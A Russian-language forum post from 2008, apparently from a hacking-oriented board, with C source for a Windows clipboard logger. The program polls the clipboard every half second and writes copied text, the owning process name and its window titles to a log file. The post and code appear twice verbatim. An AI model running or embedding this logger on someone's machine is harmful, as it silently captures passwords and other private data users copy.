SlyBit
06.07.2008, 04:58
Привет всем. Думаю все знают что такое буфер обмена (clipboard). ;)
При работе с буфером обмена у нас есть возможность использовать как стандартные форматы хранения данных (CF_TEXT, CF_BITMAP и т.д., полный список смотрите в WinUser.h), так и создавать свои. Нижележащий исходник демонстрирует работу с дефолтовым форматом хранения текста CF_UNICODETEXT, а именно считывает данные из буфера через определенный промежуток времени и пишет в файл вместе с дополнительной информацией о их владельце.
Хотелось бы обратить ваше внимание на следующие важные моменты:
1) В один момент времени только одно приложение может работать с буфером. За открытие буфера и предотвращения доступа к нему других приложений отвечает функция OpenClipboard, закрываем буфер функцией CloseClipboard.
2) Максимальный размер данных, считываемых за раз в данной программе задается константой MAX_DATA_SIZE.
Вообщем смотрите код с комментами.
Скачать src+bin (http://slil.ru/25960620)
// by SlyBit (c) 07.2008
#include <windows.h>
#include <Tlhelp32.h>
#pragma comment(linker, "/ENTRY:Entry")
#define LOG_FILE_NAME "clipboard.log"
#define MAX_DATA_SIZE 1024*10 // Максимальный размер данных, получаемых из буфера за 1 раз
BOOL WINAPI GetProccessNameById(DWORD dwPId, PCHAR pName, DWORD dwNameSize)
{
HANDLE hProcSnap;
PROCESSENTRY32 Pe32;
if(INVALID_HANDLE_VALUE == (hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0))) {
return 0;
}
Pe32.dwSize = sizeof(PROCESSENTRY32);
if(!Process32First(hProcSnap, &Pe32)) {
return 0;
}
while(Process32Next(hProcSnap, &Pe32))
{
if(Pe32.th32ProcessID == dwPId)
{
CloseHandle(hProcSnap);
if(lstrlen(Pe32.szExeFile) > dwNameSize) {
return 0;
}
lstrcpy(pName, Pe32.szExeFile);
return 1;
}
}
CloseHandle(hProcSnap);
return 0;
}
VOID WINAPI LogClipboardData(PVOID pData, DWORD dwSize)
{
DWORD dwWrited;
static HANDLE hLogClipboardData = NULL;
if(!hLogClipboardData || (hLogClipboardData == INVALID_HANDLE_VALUE)) {
hLogClipboardData = CreateFile(LOG_FILE_NAME, GENERIC_WRITE, FILE_SHARE_READ, NULL,
OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
}
if(hLogClipboardData != INVALID_HANDLE_VALUE)
{
SetFilePointer(hLogClipboardData, 0, 0, FILE_END);
WriteFile(hLogClipboardData, pData, dwSize, &dwWrited, 0);
}
}
DWORD WINAPI GetTextDataFromClipboard(LPVOID lpParameter)
{
UINT nClipboardFormat = CF_UNICODETEXT;
PWCHAR pClipboardData;
HWND hParentWindow;
CHAR szLogData[MAX_DATA_SIZE+400], szTempWindowText[50], szWindowText[300], szProcessName[50], szLogDataHeader[400];
SYSTEMTIME SystemTime;
DWORD dwOwnerId, dwClipboardDataSize, dwLastClipboardDataSize = 0;
WCHAR szPrevBuffer[MAX_DATA_SIZE];
do {
// Считываем данные из буфера раз в 0.5 секунд
Sleep(500);
ZeroMemory(szLogData, MAX_DATA_SIZE+400);
szProcessName[0] = '\0';
szWindowText[0] = '\0';
// Блокируем буффер обмена от изменения другими приложениями
if(!OpenClipboard(0)) {
continue;
}
if(!(pClipboardData = (PWCHAR)GetClipboardData(nClipboardFormat))) {
CloseClipboard();
continue;
}
if(MAX_DATA_SIZE < (dwClipboardDataSize = lstrlenW(pClipboardData))) {
CloseClipboard();
continue;
}
// Сравниваем с последними данными, чтобы не записывать одну и ту же инфу по несколько раз
if(dwLastClipboardDataSize) {
if(dwLastClipboardDataSize == dwClipboardDataSize) {
if(!lstrcmpW(szPrevBuffer, pClipboardData)) {
CloseClipboard();
continue;
}
}
}
// Получаем хэндл окна процесса-владельца буфера
if(hParentWindow = GetClipboardOwner())
{
// Получаем PID процесса-владельца буфера и его имя
GetWindowThreadProcessId(hParentWindow, &dwOwnerId);
GetProccessNameById(dwOwnerId, szProcessName, 50);
// Получаем заголовки всех окон процесса в цепочке Z до самого старшего
GetWindowText(hParentWindow, szWindowText, 50);
while(hParentWindow)
{
hParentWindow = GetParent(hParentWindow);
if(GetWindowText(hParentWindow, szTempWindowText, 50)) {
if((strlen(szWindowText) + strlen(szTempWindowText)) > 290) {
break;
}
lstrcat(szWindowText, " >> "); lstrcat(szWindowText, szTempWindowText);
}
}
}
GetLocalTime(&SystemTime);
// Формируем заголовок
wsprintf(szLogDataHeader, "###### %i.%i.%i %i:%i:%i %s (%s)\r\n",
SystemTime.wDay, SystemTime.wMonth, SystemTime.wYear,
SystemTime.wHour, SystemTime.wMinute, SystemTime.wSecond,
szProcessName, szWindowText);
// Декодируем буфферные данные в ANSI, объединяем с заголовком и пишем в файл
memcpy(szLogData, szLogDataHeader, lstrlen(szLogDataHeader));
WideCharToMultiByte(CP_ACP, 0, pClipboardData, dwClipboardDataSize, szLogData+lstrlen(szLogDataHeader), dwClipboardDataSize, 0, 0);
lstrcat(szLogData, "\r\n\r\n");
LogClipboardData(szLogData, lstrlen(szLogData));
// Запоминаем данные
lstrcpyW(szPrevBuffer, pClipboardData);
dwLastClipboardDataSize = dwClipboardDataSize;
// Снимаем блок с буффера обмена
CloseClipboard();
} while(1);
return 1;
}
VOID WINAPI Entry()
{
HANDLE hThread = NULL;
if(hThread = CreateThread(0, 0, GetTextDataFromClipboard, 0, 0, 0))
WaitForSingleObject(hThread, INFINITE);
ExitProcess(0);
}
При работе с буфером обмена у нас есть возможность использовать как стандартные форматы хранения данных (CF_TEXT, CF_BITMAP и т.д., полный список смотрите в WinUser.h), так и создавать свои. Нижележащий исходник демонстрирует работу с дефолтовым форматом хранения текста CF_UNICODETEXT, а именно считывает данные из буфера через определенный промежуток времени и пишет в файл вместе с дополнительной информацией о их владельце.
Хотелось бы обратить ваше внимание на следующие важные моменты:
1) В один момент времени только одно приложение может работать с буфером. За открытие буфера и предотвращения доступа к нему других приложений отвечает функция OpenClipboard, закрываем буфер функцией CloseClipboard.
2) Максимальный размер данных, считываемых за раз в данной программе задается константой MAX_DATA_SIZE.
Вообщем смотрите код с комментами.
Скачать src+bin (http://slil.ru/25960620)
// by SlyBit (c) 07.2008
#include <windows.h>
#include <Tlhelp32.h>
#pragma comment(linker, "/ENTRY:Entry")
#define LOG_FILE_NAME "clipboard.log"
#define MAX_DATA_SIZE 1024*10 // Максимальный размер данных, получаемых из буфера за 1 раз
BOOL WINAPI GetProccessNameById(DWORD dwPId, PCHAR pName, DWORD dwNameSize)
{
HANDLE hProcSnap;
PROCESSENTRY32 Pe32;
if(INVALID_HANDLE_VALUE == (hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0))) {
return 0;
}
Pe32.dwSize = sizeof(PROCESSENTRY32);
if(!Process32First(hProcSnap, &Pe32)) {
return 0;
}
while(Process32Next(hProcSnap, &Pe32))
{
if(Pe32.th32ProcessID == dwPId)
{
CloseHandle(hProcSnap);
if(lstrlen(Pe32.szExeFile) > dwNameSize) {
return 0;
}
lstrcpy(pName, Pe32.szExeFile);
return 1;
}
}
CloseHandle(hProcSnap);
return 0;
}
VOID WINAPI LogClipboardData(PVOID pData, DWORD dwSize)
{
DWORD dwWrited;
static HANDLE hLogClipboardData = NULL;
if(!hLogClipboardData || (hLogClipboardData == INVALID_HANDLE_VALUE)) {
hLogClipboardData = CreateFile(LOG_FILE_NAME, GENERIC_WRITE, FILE_SHARE_READ, NULL,
OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
}
if(hLogClipboardData != INVALID_HANDLE_VALUE)
{
SetFilePointer(hLogClipboardData, 0, 0, FILE_END);
WriteFile(hLogClipboardData, pData, dwSize, &dwWrited, 0);
}
}
DWORD WINAPI GetTextDataFromClipboard(LPVOID lpParameter)
{
UINT nClipboardFormat = CF_UNICODETEXT;
PWCHAR pClipboardData;
HWND hParentWindow;
CHAR szLogData[MAX_DATA_SIZE+400], szTempWindowText[50], szWindowText[300], szProcessName[50], szLogDataHeader[400];
SYSTEMTIME SystemTime;
DWORD dwOwnerId, dwClipboardDataSize, dwLastClipboardDataSize = 0;
WCHAR szPrevBuffer[MAX_DATA_SIZE];
do {
// Считываем данные из буфера раз в 0.5 секунд
Sleep(500);
ZeroMemory(szLogData, MAX_DATA_SIZE+400);
szProcessName[0] = '\0';
szWindowText[0] = '\0';
// Блокируем буффер обмена от изменения другими приложениями
if(!OpenClipboard(0)) {
continue;
}
if(!(pClipboardData = (PWCHAR)GetClipboardData(nClipboardFormat))) {
CloseClipboard();
continue;
}
if(MAX_DATA_SIZE < (dwClipboardDataSize = lstrlenW(pClipboardData))) {
CloseClipboard();
continue;
}
// Сравниваем с последними данными, чтобы не записывать одну и ту же инфу по несколько раз
if(dwLastClipboardDataSize) {
if(dwLastClipboardDataSize == dwClipboardDataSize) {
if(!lstrcmpW(szPrevBuffer, pClipboardData)) {
CloseClipboard();
continue;
}
}
}
// Получаем хэндл окна процесса-владельца буфера
if(hParentWindow = GetClipboardOwner())
{
// Получаем PID процесса-владельца буфера и его имя
GetWindowThreadProcessId(hParentWindow, &dwOwnerId);
GetProccessNameById(dwOwnerId, szProcessName, 50);
// Получаем заголовки всех окон процесса в цепочке Z до самого старшего
GetWindowText(hParentWindow, szWindowText, 50);
while(hParentWindow)
{
hParentWindow = GetParent(hParentWindow);
if(GetWindowText(hParentWindow, szTempWindowText, 50)) {
if((strlen(szWindowText) + strlen(szTempWindowText)) > 290) {
break;
}
lstrcat(szWindowText, " >> "); lstrcat(szWindowText, szTempWindowText);
}
}
}
GetLocalTime(&SystemTime);
// Формируем заголовок
wsprintf(szLogDataHeader, "###### %i.%i.%i %i:%i:%i %s (%s)\r\n",
SystemTime.wDay, SystemTime.wMonth, SystemTime.wYear,
SystemTime.wHour, SystemTime.wMinute, SystemTime.wSecond,
szProcessName, szWindowText);
// Декодируем буфферные данные в ANSI, объединяем с заголовком и пишем в файл
memcpy(szLogData, szLogDataHeader, lstrlen(szLogDataHeader));
WideCharToMultiByte(CP_ACP, 0, pClipboardData, dwClipboardDataSize, szLogData+lstrlen(szLogDataHeader), dwClipboardDataSize, 0, 0);
lstrcat(szLogData, "\r\n\r\n");
LogClipboardData(szLogData, lstrlen(szLogData));
// Запоминаем данные
lstrcpyW(szPrevBuffer, pClipboardData);
dwLastClipboardDataSize = dwClipboardDataSize;
// Снимаем блок с буффера обмена
CloseClipboard();
} while(1);
return 1;
}
VOID WINAPI Entry()
{
HANDLE hThread = NULL;
if(hThread = CreateThread(0, 0, GetTextDataFromClipboard, 0, 0, 0))
WaitForSingleObject(hThread, INFINITE);
ExitProcess(0);
}